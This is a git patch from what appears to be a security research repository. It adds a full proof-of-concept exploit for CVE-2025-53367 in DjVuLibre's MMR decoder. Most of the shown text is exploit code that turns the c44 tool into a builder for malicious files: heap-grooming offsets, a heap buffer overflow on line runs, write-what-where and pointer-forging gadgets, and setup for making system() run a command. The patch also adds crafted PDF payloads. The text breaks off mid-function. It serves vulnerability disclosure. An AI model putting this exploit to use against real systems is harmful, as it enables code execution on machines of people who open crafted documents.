From c02c3ec2990236eef34fc411de1d11d565495c2b Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 18 Jul 2025 15:36:22 +0100 Subject: [PATCH 1/2] Full poc for CVE-2025-53367 --- .../DjVuLibre-poc-CVE-2025-53367.diff | 1883 +++++++++++++++++ .../README.md | 60 +- .../noble.pdf | Bin 0 -> 82468 bytes .../plucky.pdf | Bin 0 -> 82469 bytes 4 files changed, 1936 insertions(+), 7 deletions(-) create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/plucky.pdf diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff new file mode 100644 index 0000000..44151b2 --- /dev/null +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -0,0 +1,1883 @@ +diff --git a/config/acinclude.m4 b/config/acinclude.m4 +index 19b7e6e..472cf07 100644 +--- a/config/acinclude.m4 ++++ b/config/acinclude.m4 +@@ -96,8 +96,8 @@ AC_DEFUN([AC_OPTIMIZE],[ + AC_REMOVE_OPTIONS([CXXFLAGS],[-g*]) + fi + defines="-DNDEBUG" +- AC_CHECK_CC_OPT([-O3],,[AC_CHECK_CC_OPT([-O2])]) +- AC_CHECK_CXX_OPT([-O3],,[AC_CHECK_CXX_OPT([-O2])]) ++ AC_CHECK_CC_OPT([-O0],,[AC_CHECK_CC_OPT([-O0])]) ++ AC_CHECK_CXX_OPT([-O0],,[AC_CHECK_CXX_OPT([-O0])]) + cpu=`uname -m 2>/dev/null` + test -z "$cpu" && cpu=${host_cpu} + case "${host_cpu}" in +diff --git a/libdjvu/JB2EncodeCodec.cpp b/libdjvu/JB2EncodeCodec.cpp +index 8b3671c..63c70aa 100644 +--- a/libdjvu/JB2EncodeCodec.cpp ++++ b/libdjvu/JB2EncodeCodec.cpp +@@ -377,6 +377,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + for (shapeno=firstshape; shapeno= 0) +@@ -390,6 +397,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + code_record(rectype, 0, 0); + } + } ++ if (jim.encode_shape_cb) { ++ jim.encode_shape_cb(); ++ } ++ // Code Comment. ++ rectype = PRESERVED_COMMENT; ++ if (!! jim.comment) ++ code_record(rectype, gjim, 0); + // Code end of data record + rectype = END_OF_DATA; + code_record(rectype, gjim, 0); +diff --git a/libdjvu/JB2Image.h b/libdjvu/JB2Image.h +index a87a83b..b88923b 100644 +--- a/libdjvu/JB2Image.h ++++ b/libdjvu/JB2Image.h +@@ -170,6 +170,7 @@ + + #include "GString.h" + #include "ZPCodec.h" ++#include "functional" + + + #ifdef HAVE_NAMESPACES +@@ -318,6 +319,9 @@ public: + /** Comment string coded by JB2 file. */ + GUTF8String comment; + ++ // Extra callback during encoding, so that I can modify the comment. ++ std::function encode_shape_cb = {}; ++ + + private: + friend class JB2Codec; +diff --git a/tools/c44.cpp b/tools/c44.cpp +index df73468..199079a 100644 +--- a/tools/c44.cpp ++++ b/tools/c44.cpp +@@ -211,6 +211,8 @@ + //@{ + //@} + ++#include ++#include + #include "GString.h" + #include "GException.h" + #include "IW44Image.h" +@@ -223,566 +225,1267 @@ + #include "DjVuMessage.h" + #include "JPEGDecoder.h" + #include "common.h" ++#include "JB2Image.h" ++#include ++#include ++#include + +-// command line data +- +-int flag_mask = 0; +-int flag_bpp = 0; +-int flag_size = 0; +-int flag_percent = 0; +-int flag_slice = 0; +-int flag_decibel = 0; +-int flag_crcbdelay = -1; +-int flag_crcbmode = -1; +-double flag_dbfrac = -1; +-int flag_dpi = -1; +-double flag_gamma = -1; +-int argc_bpp = 0; +-int argc_size = 0; +-int argc_slice = 0; +-int argc_decibel = 0; +-IW44Image::CRCBMode arg_crcbmode = IW44Image::CRCBnormal; +- +-#define MAXCHUNKS 64 +-float argv_bpp[MAXCHUNKS]; +-int argv_size[MAXCHUNKS]; +-int argv_slice[MAXCHUNKS]; +-float argv_decibel[MAXCHUNKS]; +- +-struct C44Global +-{ +- // Globals that need static initialization +- // are grouped here to work around broken compilers. +- GURL pnmurl; +- GURL iw4url; +- GURL mskurl; +- IWEncoderParms parms[MAXCHUNKS]; +-}; +- +-static C44Global& g(void) +-{ +- static C44Global g; +- return g; +-} +- +- +-// parse arguments +- +-void +-usage() +-{ +- DjVuPrintErrorUTF8( +-#ifdef DJVULIBRE_VERSION +- "C44 --- DjVuLibre-" DJVULIBRE_VERSION "\n" +-#endif +- "Image compression utility using IW44 wavelets\n\n" +- "Usage: c44 [options] pnm-or-jpeg-file [djvufile]\n" +- "Options:\n" +- " -slice n+...+n -- select an increasing sequence of data slices\n" +- " expressed as integers ranging from 1 to 140.\n" +- " -bpp n,..,n -- select a increasing sequence of bitrates\n" +- " for building progressive file (in bits per pixel).\n" +- " -size n,..,n -- select an increasing sequence of minimal sizes\n" +- " for building progressive files (expressed in bytes).\n" +- " -percent n,..,n -- selects the percentage of original file size\n" +- " for building progressive file.\n" +- " -decibel n,..,n -- select an increasing sequence of luminance error\n" +- " expressed as decibels (ranging from 16 to 50).\n" +- " -dbfrac frac -- restrict decibel estimation to a fraction of\n" +- " the most misrepresented 32x32 blocks\n" +- " -mask pbmfile -- select bitmask specifying image zone to encode\n" +- " with minimal bitrate. (default none)\n" +- " -dpi n -- sets the image resolution\n" +- " -gamma n -- sets the image gamma correction\n" +- " -crcbfull -- encode chrominance with highest quality\n" +- " -crcbnormal -- encode chrominance with normal resolution (default)\n" +- " -crcbhalf -- encode chrominance with half resolution\n" +- " -crcbnone -- do not encode chrominance at all\n" +- " -crcbdelay n -- select chrominance coding delay (default 10)\n" +- " for -crcbnormal and -crcbhalf modes\n" +- "\n"); +- exit(1); +-} +- +- +- +-void +-parse_bpp(const char *q) +-{ +- flag_bpp = 1; +- argc_bpp = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.bitrate_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<=0 || x>24 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.bitrate_too_many") ); +- } +- if (argc_bpp < 1) +- G_THROW( ERR_MSG("c44.bitrate_no_chunks") ); +-} +- +- +-void +-parse_size(const char *q) +-{ +- flag_size = 1; +- argc_size = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.size_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.size_too_many") ); +- } +- if (argc_size < 1) +- G_THROW( ERR_MSG("c44.size_no_chunks") ); +-} +- +-void +-parse_slice(const char *q) +-{ +- flag_slice = 1; +- argc_slice = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.slice_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<1 || x>1000 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.slice_too_many") ); +- } +- if (argc_slice < 1) +- G_THROW( ERR_MSG("c44.slice_no_chunks") ); +-} +- +- +-void +-parse_decibel(const char *q) +-{ +- flag_decibel = 1; +- argc_decibel = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.decibel_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<16 || x>50 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.decibel_too_many") ); ++static void djbz_bitmap(JB2Dict &d, int nrows, int ncols, int bytes_per_row) { ++ JB2Shape shape; ++ shape.parent = -1; ++ shape.userdata = 0; ++ shape.bits = GBitmap::create(nrows, ncols, 4); ++ for (int i = 0; i < nrows; i++) { ++ for (int j = 0; j < ncols; j++) { ++ (*shape.bits)[i][j] = ++ j + 1 < bytes_per_row ? (j & 1) : (bytes_per_row & 1); + } +- if (argc_decibel < 1) +- G_THROW( ERR_MSG("c44.decibel_no_chunks") ); +-} +- +- +-int +-resolve_quality(int npix) +-{ +- // Convert ratio specification into size specification +- if (flag_bpp) +- { +- if (flag_size) +- G_THROW( ERR_MSG("c44.exclusive") ); +- flag_size = flag_bpp; +- argc_size = argc_bpp; +- for (int i=0; i 0); ++ buf[0] = 0; ++ } ++ ++ size_t bitoffset() const { return offset_; } ++ size_t byteoffset() const { return (offset_ + 7) / 8; } ++ ++ void write(uint8_t x, size_t nbits); ++ ++private: ++ void write_bitcode(const BitCode table[], size_t tablelen, uint32_t value); ++ ++public: ++ void write_wcode(uint32_t value) { ++ write_bitcode(wcodes, sizeof(wcodes) / sizeof(BitCode), value); ++ } ++ ++ void write_bcode(uint32_t value) { ++ write_bitcode(bcodes, sizeof(bcodes) / sizeof(BitCode), value); ++ } ++}; ++ ++void BitPacker::write(uint8_t x, size_t nbits) { ++ assert(nbits <= 8); ++ assert(x >> nbits == 0); ++ ++ // Shift bits to the top of the byte. ++ x <<= (8 - nbits); ++ ++ // The number of bits that have already been written to the current byte. ++ // Note: bits are written to the top of the byte first. ++ const size_t occupied = offset_ % 8; ++ ++ buf_[offset_ / 8] |= (x >> occupied); ++ offset_ += nbits; ++ if (occupied + nbits >= 8) { ++ if (offset_ / 8 >= bufsize_) { ++ G_THROW(ERR_MSG("BitPacker: buffer too small")); + } +- // Complete short specifications +- while (argc_size < nchunk) +- argv_size[argc_size++] = 0; +- while (argc_slice < nchunk) +- argv_slice[argc_slice++] = 0; +- while (argc_decibel < nchunk) +- argv_decibel[argc_decibel++] = 0.0; +- // Fill parm structure +- for(int i=0; i value) { ++ high = mid; ++ } else { ++ low = mid + 1; ++ } + } +- // Return number of chunks +- return nchunk; +-} +- +- +-void +-parse(GArray &argv) +-{ +- const int argc=argv.hbound()+1; +- for (int i=1; i= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_size(argv[i]); +- flag_percent = 1; +- } +- else if (argv[i] == "-bpp") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_bpp(argv[i]); +- } +- else if (argv[i] == "-size") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_size_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_size") ); +- parse_size(argv[i]); +- } +- else if (argv[i] == "-decibel") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_decibel_arg") ); +- if (flag_decibel) +- G_THROW( ERR_MSG("c44.multiple_decibel") ); +- parse_decibel(argv[i]); +- } +- else if (argv[i] == "-slice") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_slice_arg") ); +- if (flag_slice) +- G_THROW( ERR_MSG("c44.multiple_slice") ); +- parse_slice(argv[i]); +- } +- else if (argv[i] == "-mask") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_mask_arg") ); +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.multiple_mask") ); +- g().mskurl = GURL::Filename::UTF8(argv[i]); +- } +- else if (argv[i] == "-dbfrac") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dbfrac_arg") ); +- if (flag_dbfrac>0) +- G_THROW( ERR_MSG("c44.multiple_dbfrac") ); +- char *ptr; +- flag_dbfrac = strtod(argv[i], &ptr); +- if (flag_dbfrac<=0 || flag_dbfrac>1 || *ptr) +- G_THROW( ERR_MSG("c44.illegal_dbfrac") ); +- } +- else if (argv[i] == "-crcbnone") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnone; +- } +- else if (argv[i] == "-crcbhalf") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBhalf; +- } +- else if (argv[i] == "-crcbnormal") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnormal; +- } +- else if (argv[i] == "-crcbfull") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBfull; +- } +- else if (argv[i] == "-crcbdelay") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_crcbdelay_arg") ); +- if (flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- char *ptr; +- flag_crcbdelay = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_crcbdelay<0 || flag_crcbdelay>=100) +- G_THROW( ERR_MSG("c44.illegal_crcbdelay") ); +- } +- else if (argv[i] == "-dpi") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dpi_arg") ); +- if (flag_dpi>0) +- G_THROW( ERR_MSG("c44.duplicate_dpi") ); +- char *ptr; +- flag_dpi = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_dpi<25 || flag_dpi>4800) +- G_THROW( ERR_MSG("c44.illegal_dpi") ); +- } +- else if (argv[i] == "-gamma") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_gamma_arg") ); +- if (flag_gamma > 0) +- G_THROW( ERR_MSG("c44.duplicate_gamma") ); +- char *ptr; +- flag_gamma = strtod(argv[i], &ptr); +- if (*ptr || flag_gamma<=0.25 || flag_gamma>=5) +- G_THROW( ERR_MSG("c44.illegal_gamma") ); +- } +- else +- usage(); +- } +- else if (g().pnmurl.is_empty()) +- g().pnmurl = GURL::Filename::UTF8(argv[i]); +- else if (g().iw4url.is_empty()) +- g().iw4url = GURL::Filename::UTF8(argv[i]); +- else +- usage(); ++ assert(high > 0); ++ const size_t i = high - 1; ++ assert(table[i].value <= value); ++ if (table[i].codelen > 8) { ++ write(0, table[i].codelen - 8); ++ write(table[i].code, 8); ++ } else { ++ write(table[i].code, table[i].codelen); + } +- if (g().pnmurl.is_empty()) +- usage(); +- if (g().iw4url.is_empty()) +- { +- GURL codebase=g().pnmurl.base(); +- GUTF8String base = g().pnmurl.fname(); +- int dot = base.rsearch('.'); +- if (dot >= 1) +- base = base.substr(0,dot); +- const char *ext=".djvu"; +- g().iw4url = GURL::UTF8(base+ext,codebase); ++ if (value < 64) { ++ break; + } ++ value -= table[i].value; ++ } + } + ++// The heap feng shui phase aims to preload the tcache with several ++// chunks that are next to each other in memory, and that will get ++// used later when jimg, prevruns, lineruns, and dcd are ++// allocated. So, even though the exact offsets of these chunks within ++// the thread-local arena are unreliable, the distances between them ++// should be. ++static const uint16_t distance_jimg_to_dcd = 0x700; ++static const uint16_t distance_prevruns_to_dcd = 0x590; ++static const uint16_t distance_lineruns_to_dcd = 0x370; + ++static const uint16_t sizeof_fake_chunk = 0xa0; ++static const uint16_t sizeof_GBitmap = 0x80; + +-GP +-getmask(int w, int h) +-{ +- GP msk8; +- if (! g().mskurl.is_empty()) +- { +- GP mbs=ByteStream::create(g().mskurl,"rb"); +- msk8 = GBitmap::create(*mbs); +- if (msk8->columns() != (unsigned int)w || +- msk8->rows() != (unsigned int)h ) +- G_THROW( ERR_MSG("c44.different_size") ); +- } +- return msk8; ++// The heap feng shui stage allocates a lot of memory that will never ++// be used again in the 0x31000..0x38000 range (appoximately) of the ++// thread-local arena, so I can use it as a scratch area for things ++// like creating fake chunks. The exact offsets might vary slightly ++// from one run to the next, but it should be very reliable if I stay ++// away from the edges. ++static const uint16_t offsetof_scratch_area = 0x2000; ++ ++// Location for storing a pointer to dcd, so that I can calculate ++// pointers to jimg or dcd whenever I need to. ++static const uint16_t offsetof_dcd_ptr_backup = offsetof_scratch_area + 0x20; ++ ++static const uint16_t offsetof_fake_bytes_data = offsetof_dcd_ptr_backup + 0x10; ++static const uint16_t offsetof_fake_rlerows = offsetof_fake_bytes_data + 0x10; ++static const uint16_t offsetof_scratch_ptr = offsetof_fake_rlerows + 0x30; ++ ++// Locations for storing the components of an arena pointer, so ++// that I can use copy_uint16 to forge fake pointers. ++static const uint16_t arena_ptrbytes_2_3 = offsetof_scratch_ptr + 0x30; ++static const uint16_t arena_ptrbytes_4_5 = arena_ptrbytes_2_3 + 0x10; ++ ++// Locations for storing the components of the jimg->blits.traits ++// pointer, so that I can use copy_uint16 to reconstruct it later. ++static const uint16_t traits_ptrbytes_0_1 = arena_ptrbytes_4_5 + 0x10; ++static const uint16_t traits_ptrbytes_2_3 = traits_ptrbytes_0_1 + 0x10; ++static const uint16_t traits_ptrbytes_4_5 = traits_ptrbytes_2_3 + 0x10; ++ ++// Scratch area for the add-with-carry operation. ++static const uint16_t offsetof_adder_area = traits_ptrbytes_4_5 + 0x20; ++ ++static const uint16_t offsetof_fake_bitmap = offsetof_adder_area + 0x20; ++static const uint16_t offsetof_fake_chunk1 = ++ offsetof_fake_bitmap + sizeof_GBitmap + 0x10; ++static const uint16_t offsetof_fake_chunk2 = ++ offsetof_fake_chunk1 + sizeof_fake_chunk + 0x10; ++ ++static const uint16_t offsetof_scratch_area_end = ++ offsetof_fake_chunk2 + sizeof_fake_chunk + 0x30; ++ ++// Location where I'll write the command for system to run. ++// fake_chunk2 contains the fake traits when the command is written. ++// The fake traits are 0x28 bytes, so 0x40 is enough of a gap. ++static const uint16_t offsetof_command = offsetof_fake_chunk2 + 0x40; ++ ++// Struct field offsets ++static const uint16_t offsetof_dcd_count = 0x8; ++static const uint16_t offsetof_dcd_width = 0xc; ++static const uint16_t offsetof_dcd_lineruns = 0x38; ++static const uint16_t offsetof_dcd_prevruns = 0x50; ++ ++static const uint16_t offsetof_blits_traits = 0x78; ++static const uint16_t offsetof_blits_data = 0x80; ++ ++static const uint16_t offsetof_bytes = 0x18; ++static const uint16_t offsetof_bytes_data = 0x20; ++static const uint16_t offsetof_rle = 0x38; ++static const uint16_t offsetof_grle = 0x40; ++static const uint16_t offsetof_grlerows = 0x58; ++static const uint16_t offsetof_rlelength = 0x68; ++static const uint16_t offsetof_monitorptr = 0x70; ++ ++static void write_V0(BitPacker &packer) { ++ packer.write(1, 1); // V0 ++} ++ ++static void write_VL1(BitPacker &packer) { ++ packer.write(0x2, 3); // VL1 ++} ++ ++static void write_P(BitPacker &packer) { ++ packer.write(0x1, 4); // P ++} ++ ++// Write a H element to an even numbered address. ++static void write_H_even(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_wcode(lo); ++ packer.write_bcode(hi); + } + ++// Write a H element to an odd numbered address. ++static void write_H_odd(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_bcode(lo); ++ packer.write_wcode(hi); ++} ++ ++static void firstrun(BitPacker &packer, size_t &lineno, uint32_t width, ++ uint16_t blocksize, uint16_t blocksperline) { ++ uint32_t remainder = width; ++ for (uint16_t i = 0; i + 1 < blocksperline; i++) { ++ write_H_even(packer, 0, blocksize); ++ remainder -= blocksize; ++ } ++ write_H_even(packer, 0, remainder); ++ lineno++; ++} ++ ++static void write_stop(BitPacker &packer, size_t &lineno, uint32_t stop) { ++ write_H_even(packer, stop, 0x0); ++ lineno++; ++} ++ ++static void modify_prevruns(BitPacker &packer, size_t &lineno, uint16_t target, ++ uint32_t stop) { ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, stop | target); ++ lineno++; ++} ++ ++// Copy a uint16_t from one location to another. The 8 bytes below it ++// in memory will get trashed. At the destination site, (up to) 12 ++// bytes of garbage get written above it, but not below. Therefore, ++// this operation can be used to move an arbitrary number of bytes ++// from one location to another. (The number of bytes must be even ++// though.) The move is destructive to the source if you want to copy ++// more than 2 bytes, because the bytes below the current ones keep ++// getting trashed. The solution is to move the bytes to a staging ++// area where they're separated by extra zeros and then copy them back ++// later. ++// ++// The advantage of using this function to copy a uint16_t is that it ++// is able to handle the special case where the value is zero. If you ++// know that the value is non-zero then there are simpler ways to copy ++// it. For example, in many places I'm able to copy a pointer in one ++// go, using three V0 instructions, because the heap feng shui has ++// ensured that none of the byte pairs in the pointer are zero. But ++// when I'm copying a fully unknown pointer, like a pointer to ++// system(), then there's a chance that the middle byte pair will be ++// zero due to ASLR. ++// ++// Zero is an awkward special case due to the complicated way that b1 ++// is updated in MMRDecoder::scanruns(). The solution is to add 1 to ++// the number and then subtract it with the VL1 operation. This ++// involves adding two extra steps, so this function uses 6 steps ++// rather than 4. ++static void copy_uint16(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst) { ++ // 1 ++ // Modify prevruns. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | (src - 8)); ++ lineno++; ++ ++ // 2 ++ // Write 0x0000, 0x0000, 0x0000, 0x0001 below the bytes that I want ++ // to copy. The 0x0001 is a workaround for the special case where ++ // the uint16_t that I want to copy is zero. The 0x0001 gets added ++ // to the uint16_t and then subtracted by the VL1 operation in the ++ // next step. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 3 ++ // Copy byte pair back and modify prevruns so that I can copy them ++ // to the destination. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | dst); ++ lineno++; ++ ++ // 4 ++ // skip step at destination ++ write_H_even(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Write a 1 below the bytes so that I can do the same trick as ++ // before. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 6 ++ // Copy to dst ++ write_P(packer); ++ write_VL1(packer); ++ write_H_odd(packer, 0xc000, 0xc000); ++ write_H_odd(packer, 0xc000, 0xc000); ++ lineno++; ++} + +-static void +-create_photo_djvu_file(IW44Image &iw, int w, int h, +- IFFByteStream &iff, int nchunks, IWEncoderParms xparms[]) +-{ ++// Add two uint16_t values and also output a carry bit. The two input ++// values should be stored at p, p+2 before calling this function. The ++// carry bit will be written to p-2 and the addition result to p+10. ++// ++// The 16 bytes below dcd.prevruns are used as a working area. ++// ++// The addition is computed by this loop: ++// (https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/MMRDecoder.cpp#l748) ++// ++// // Next reference run ++// for(;b1<=a0 && b1= 0x10000 (i.e. if there's a carry bit). That second ++// iteration adds another 0x10000, so it doesn't change the output. ++// But it means that pr has been incremented 4 bytes more than if ++// there was no carry. The next instruction is a V0, which will output ++// a 2 if there was a carry or 1 if there wasn't. (It's easier to copy ++// a non-zero value so that's why I use 1,2 rather than 0,1.) ++static void add_with_carry(BitPacker &packer, size_t &lineno, uint16_t p) { ++ // 1 ++ // Point prevruns just above the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p + 4); ++ lineno++; ++ ++ // 2 ++ // Write some values that will compute the carry bit. ++ write_H_even(packer, 0x2, 0xfffe); // sum == 0x10000 ++ write_H_even(packer, 0x1, 0x0); ++ write_H_even(packer, 0x0, 0x1ffff); ++ lineno++; ++ ++ // 3 ++ // Point prevruns 6 bytes below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p - 6); ++ lineno++; ++ ++ // 4 ++ // write zeros below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Compute the addition and write the carry bit ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0xffff); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_even(packer, 0xffff, 0x40000); ++ lineno++; ++ ++ // 6 ++ // Copy the addition result out ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 7 ++ // wipe the addition result ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 8 ++ // Copy the carry bit out ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++} ++ ++// Adds a uint16_t increment to a 64-bit pointer. ++static void pointer_add(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst, uint16_t incr, ++ bool write_trailer = true) { ++ // Scratch area for add_with_carry to use ++ uint16_t s = offsetof_adder_area; ++ ++ // Copy increment to scratch area ++ modify_prevruns(packer, lineno, s - 6, 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x40000, incr); ++ lineno++; ++ ++ // Copy components. Only 3 iterations are needed because the top two ++ // bytes of a pointer are always zero. ++ for (size_t i = 0; i < 3; i++) { ++ // Copy component to scratch area ++ copy_uint16(packer, lineno, src, s + 2); ++ ++ // Add increment or carry bit to component ++ add_with_carry(packer, lineno, s); ++ ++ // Copy result out ++ copy_uint16(packer, lineno, s + 10, dst); ++ ++ // Carry bit was written to s-2, so it's easiest to shift the scratch area. ++ s -= 2; ++ ++ // Move to next component ++ src += 2; ++ dst += 2; ++ } ++} ++ ++// Use the buffer overflow on dcd->lineruns to modify ++// dcd->width. (Heap feng shui has ensured that lineruns is stored ++// immediately below dcd in memory.) This function should be followed ++// by a call to write_stop(). ++static void overwrite_width(BitPacker &packer, uint16_t prefixlen) { ++ // Buffer overflow ++ for (size_t i = prefixlen; i < distance_lineruns_to_dcd + offsetof_dcd_width; ++ i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ ++ // Overwrite width ++ write_H_even(packer, 0x0, 0x3); // 0x30000 ++ ++ // Overwrite height ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite lineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite striplineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite rowsperstrip ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite line and gline ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++} ++ ++// This overwrites dcd->lineruns with a pointer to dcd->glineruns. ++// That gives me the ability to overwrite prevruns, which means I can ++// now write bytes to any location. (Previously, I could also write to ++// any location, but it was a one-shot thing because the only way to ++// do it a second time was by trashing all the memory between the ++// first location and dcd.) ++static void create_write_what_where_gadget(BitPacker &packer, size_t &lineno) { ++ // Almost all the bytes between prevruns and &dcd->lineruns are ++ // currently zero. The exceptions are the handful of non-zero values ++ // that I've set in dcd, such as dcd->width and dcd->height. Also, ++ // lineno and striplineno have both been incremented once since I ++ // zeroed them in overwrite_width(). So at this moment in time, ++ // those values sum to 7. So, in order for the first byte pair of ++ // the pointer to get successfully loaded into b1, I need to set a0 ++ // = 7. ++ write_H_even(packer, 0x0, 0x7); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // write large number below the address in prevruns ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x50000 - 0x1); ++ lineno++; ++ ++ // Next line. ++ write_H_even(packer, 0x0, ++ 0x10000 - ++ (distance_prevruns_to_dcd + offsetof_dcd_lineruns + 0xe)); ++ overwrite_width(packer, 0x4); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x30000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // At this moment, dcd still points to the original prevruns, but ++ // dcd->lineruns now points to &dcd->glineruns, which is 0x10 bytes below ++ // &dcd->prevruns in memory. ++} ++ ++// Write n zero bytes at destination. n should be a multiple of 4. ++static void 